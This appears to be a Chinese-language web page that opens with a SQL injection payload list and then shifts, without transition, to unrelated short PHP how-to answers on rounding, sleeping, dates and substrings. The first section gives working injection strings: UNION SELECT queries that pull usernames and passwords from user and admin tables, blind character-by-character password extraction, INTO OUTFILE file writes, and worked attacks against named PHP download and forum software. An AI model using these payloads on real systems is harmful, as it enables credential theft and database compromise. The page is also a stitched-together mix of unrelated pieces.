'%23
' and passWord='mypass
id=-1 union select 1,1,1
id=-1 union select char(97),char(97),char(97)
id=1 union select 1,1,1 from members
id=1 union select 1,1,1 from admin
id=1 union select 1,1,1 from user
userid=1 and password=mypass
userid=1 and mid(password,3,1)=char(112)
userid=1 and mid(password,4,1)=char(97)
and ord(mid(password,3,1))>111 (ord函数很好用,可以返回整形的)
' and LENGTH(password)='6(探测密码长度)
' and LEFT(password,1)='m
' and LEFT(password,2)='my
…………………………依次类推
' union select 1,username,password from user/*
' union select 1,username,password from user/*
=' union select 1,username,password from user/* (可以是1或者=后直接跟)
99999' union select 1,username,password from user/*
' into outfile 'c:/file.txt (导出文件)
=' or 1=1 into outfile 'c:/file.txt
1' union select 1,username,password from user into outfile 'c:/user.txt
select password FROM admins where login='John' INTO DUMPFILE '/path/to/site/file.txt'
id=' union select 1,username,password from user into outfile
id=-1 union select 1,database(),version() (灵活应用查询)
常用查询测试语句,
select * FROM table where 1=1
select * FROM table where 'uuu'='uuu'
select * FROM table where 12
select * FROM table where 3>2
select * FROM table where 2
select * FROM table where 1
select * FROM table where 1+1
select * FROM table where 1--1
select * FROM table where ISNULL(NULL)
select * FROM table where ISNULL(COT(0))
select * FROM table where 1 IS NOT NULL
select * FROM table where NULL IS NULL
select * FROM table where 2 BETWEEN 1 AND 3
select * FROM table where 'b' BETWEEN 'a' AND 'c'
select * FROM table where 2 IN (0,1,2)
select * FROM table where CASE WHEN 1>0 THEN 1 END
例如:夜猫下载系统1.0版本
id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1
union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (替换,寻找密码)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一位密码)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
…………………………………………………………
例如2:灰色轨迹 变换id进行测试(meteor)
union%20(select%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20where%20eventid%20=%2013)%20order%20by%20eventdate
union%20(select%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20where%20eventid%20=%2010)%20order%20by%20eventdate

php把负数转为正整数的方法:1、使用abs()函数将负数转为正数,使用intval()函数对正数取整,转为正整数,语法“intval(abs($number))”;2、利用“~”位运算符将负数取反加一,语法“~$number + 1”。

实现方法:1、使用“sleep(延迟秒数)”语句,可延迟执行函数若干秒;2、使用“time_nanosleep(延迟秒数,延迟纳秒数)”语句,可延迟执行函数若干秒和纳秒;3、使用“time_sleep_until(time()+7)”语句。

php除以100保留两位小数的方法:1、利用“/”运算符进行除法运算,语法“数值 / 100”;2、使用“number_format(除法结果, 2)”或“sprintf("%.2f",除法结果)”语句进行四舍五入的处理值,并保留两位小数。

判断方法:1、使用“strtotime("年-月-日")”语句将给定的年月日转换为时间戳格式;2、用“date("z",时间戳)+1”语句计算指定时间戳是一年的第几天。date()返回的天数是从0开始计算的,因此真实天数需要在此基础上加1。

php字符串有下标。在PHP中,下标不仅可以应用于数组和对象,还可应用于字符串,利用字符串的下标和中括号“[]”可以访问指定索引位置的字符,并对该字符进行读写,语法“字符串名[下标值]”;字符串的下标值(索引值)只能是整数类型,起始值为0。

方法:1、用“str_replace(" ","其他字符",$str)”语句,可将nbsp符替换为其他字符;2、用“preg_replace("/(\s|\ \;||\xc2\xa0)/","其他字符",$str)”语句。

php判断有没有小数点的方法:1、使用“strpos(数字字符串,'.')”语法,如果返回小数点在字符串中第一次出现的位置,则有小数点;2、使用“strrpos(数字字符串,'.')”语句,如果返回小数点在字符串中最后一次出现的位置,则有。

在php中,可以使用substr()函数来读取字符串后几个字符,只需要将该函数的第二个参数设置为负值,第三个参数省略即可;语法为“substr(字符串,-n)”,表示读取从字符串结尾处向前数第n个字符开始,直到字符串结尾的全部字符。


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